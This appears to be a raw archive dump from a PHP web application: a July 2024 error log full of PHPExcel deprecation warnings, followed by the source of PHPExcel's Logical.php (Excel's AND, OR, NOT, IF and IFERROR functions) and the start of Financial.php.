/home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 10:09:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 13:12:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 14:38:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 15:18:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 16:37:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 18:59:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 22:55:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [06-Jul-2024 09:16:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [06-Jul-2024 11:40:43 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 PHPExcel/Calculation/Logical.php 0000644 00000026336 14642534107 0012515 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Calculation_Logical * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation_Logical { /** * TRUE * * Returns the boolean TRUE. * * Excel Function: * =TRUE() * * @access public * @category Logical Functions * @return boolean True */ public static function TRUE() { return true; } /** * FALSE * * Returns the boolean FALSE. * * Excel Function: * =FALSE() * * @access public * @category Logical Functions * @return boolean False */ public static function FALSE() { return false; } /** * LOGICAL_AND * * Returns boolean TRUE if all its arguments are TRUE; returns FALSE if one or more argument is FALSE. * * Excel Function: * =AND(logical1[,logical2[, ...]]) * * The arguments must evaluate to logical values such as TRUE or FALSE, or the arguments must be arrays * or references that contain logical values. * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string holds * the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @access public * @category Logical Functions * @param mixed $arg,... Data values * @return boolean The logical AND of the arguments. */ public static function LOGICAL_AND() { // Return value $returnValue = true; // Loop through the arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $argCount = -1; foreach ($aArgs as $argCount => $arg) { // Is it a boolean value? if (is_bool($arg)) { $returnValue = $returnValue && $arg; } elseif ((is_numeric($arg)) && (!is_string($arg))) { $returnValue = $returnValue && ($arg != 0); } elseif (is_string($arg)) { $arg = strtoupper($arg); if (($arg == 'TRUE') || ($arg == PHPExcel_Calculation::getTRUE())) { $arg = true; } elseif (($arg == 'FALSE') || ($arg == PHPExcel_Calculation::getFALSE())) { $arg = false; } else { return PHPExcel_Calculation_Functions::VALUE(); } $returnValue = $returnValue && ($arg != 0); } } // Return if ($argCount < 0) { return PHPExcel_Calculation_Functions::VALUE(); } return $returnValue; } /** * LOGICAL_OR * * Returns boolean TRUE if any argument is TRUE; returns FALSE if all arguments are FALSE. * * Excel Function: * =OR(logical1[,logical2[, ...]]) * * The arguments must evaluate to logical values such as TRUE or FALSE, or the arguments must be arrays * or references that contain logical values. * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string holds * the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @access public * @category Logical Functions * @param mixed $arg,... Data values * @return boolean The logical OR of the arguments. */ public static function LOGICAL_OR() { // Return value $returnValue = false; // Loop through the arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $argCount = -1; foreach ($aArgs as $argCount => $arg) { // Is it a boolean value? if (is_bool($arg)) { $returnValue = $returnValue || $arg; } elseif ((is_numeric($arg)) && (!is_string($arg))) { $returnValue = $returnValue || ($arg != 0); } elseif (is_string($arg)) { $arg = strtoupper($arg); if (($arg == 'TRUE') || ($arg == PHPExcel_Calculation::getTRUE())) { $arg = true; } elseif (($arg == 'FALSE') || ($arg == PHPExcel_Calculation::getFALSE())) { $arg = false; } else { return PHPExcel_Calculation_Functions::VALUE(); } $returnValue = $returnValue || ($arg != 0); } } // Return if ($argCount < 0) { return PHPExcel_Calculation_Functions::VALUE(); } return $returnValue; } /** * NOT * * Returns the boolean inverse of the argument. * * Excel Function: * =NOT(logical) * * The argument must evaluate to a logical value such as TRUE or FALSE * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string holds * the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @access public * @category Logical Functions * @param mixed $logical A value or expression that can be evaluated to TRUE or FALSE * @return boolean The boolean inverse of the argument. */ public static function NOT($logical = false) { $logical = PHPExcel_Calculation_Functions::flattenSingleValue($logical); if (is_string($logical)) { $logical = strtoupper($logical); if (($logical == 'TRUE') || ($logical == PHPExcel_Calculation::getTRUE())) { return false; } elseif (($logical == 'FALSE') || ($logical == PHPExcel_Calculation::getFALSE())) { return true; } else { return PHPExcel_Calculation_Functions::VALUE(); } } return !$logical; } /** * STATEMENT_IF * * Returns one value if a condition you specify evaluates to TRUE and another value if it evaluates to FALSE. * * Excel Function: * =IF(condition[,returnIfTrue[,returnIfFalse]]) * * Condition is any value or expression that can be evaluated to TRUE or FALSE. * For example, A10=100 is a logical expression; if the value in cell A10 is equal to 100, * the expression evaluates to TRUE. Otherwise, the expression evaluates to FALSE. * This argument can use any comparison calculation operator. * ReturnIfTrue is the value that is returned if condition evaluates to TRUE. * For example, if this argument is the text string "Within budget" and the condition argument evaluates to TRUE, * then the IF function returns the text "Within budget" * If condition is TRUE and ReturnIfTrue is blank, this argument returns 0 (zero). To display the word TRUE, use * the logical value TRUE for this argument. * ReturnIfTrue can be another formula. * ReturnIfFalse is the value that is returned if condition evaluates to FALSE. * For example, if this argument is the text string "Over budget" and the condition argument evaluates to FALSE, * then the IF function returns the text "Over budget". * If condition is FALSE and ReturnIfFalse is omitted, then the logical value FALSE is returned. * If condition is FALSE and ReturnIfFalse is blank, then the value 0 (zero) is returned. * ReturnIfFalse can be another formula. * * @access public * @category Logical Functions * @param mixed $condition Condition to evaluate * @param mixed $returnIfTrue Value to return when condition is true * @param mixed $returnIfFalse Optional value to return when condition is false * @return mixed The value of returnIfTrue or returnIfFalse determined by condition */ public static function STATEMENT_IF($condition = true, $returnIfTrue = 0, $returnIfFalse = false) { $condition = (is_null($condition)) ? true : (boolean) PHPExcel_Calculation_Functions::flattenSingleValue($condition); $returnIfTrue = (is_null($returnIfTrue)) ? 0 : PHPExcel_Calculation_Functions::flattenSingleValue($returnIfTrue); $returnIfFalse = (is_null($returnIfFalse)) ? false : PHPExcel_Calculation_Functions::flattenSingleValue($returnIfFalse); return ($condition) ? $returnIfTrue : $returnIfFalse; } /** * IFERROR * * Excel Function: * =IFERROR(testValue,errorpart) * * @access public * @category Logical Functions * @param mixed $testValue Value to check, is also the value returned when no error * @param mixed $errorpart Value to return when testValue is an error condition * @return mixed The value of errorpart or testValue determined by error condition */ public static function IFERROR($testValue = '', $errorpart = '') { $testValue = (is_null($testValue)) ? '' : PHPExcel_Calculation_Functions::flattenSingleValue($testValue); $errorpart = (is_null($errorpart)) ? '' : PHPExcel_Calculation_Functions::flattenSingleValue($errorpart); return self::STATEMENT_IF(PHPExcel_Calculation_Functions::IS_ERROR($testValue), $errorpart, $testValue); } } PHPExcel/Calculation/Financial.php 0000644 00000324621 14642534107 0013025 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** FINANCIAL_MAX_ITERATIONS */ define('FINANCIAL_MAX_ITERATIONS', 128); /** FINANCIAL_PRECISION */ define('FINANCIAL_PRECISION', 1.0e-08); /** * PHPExcel_Calculation_Financial * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy 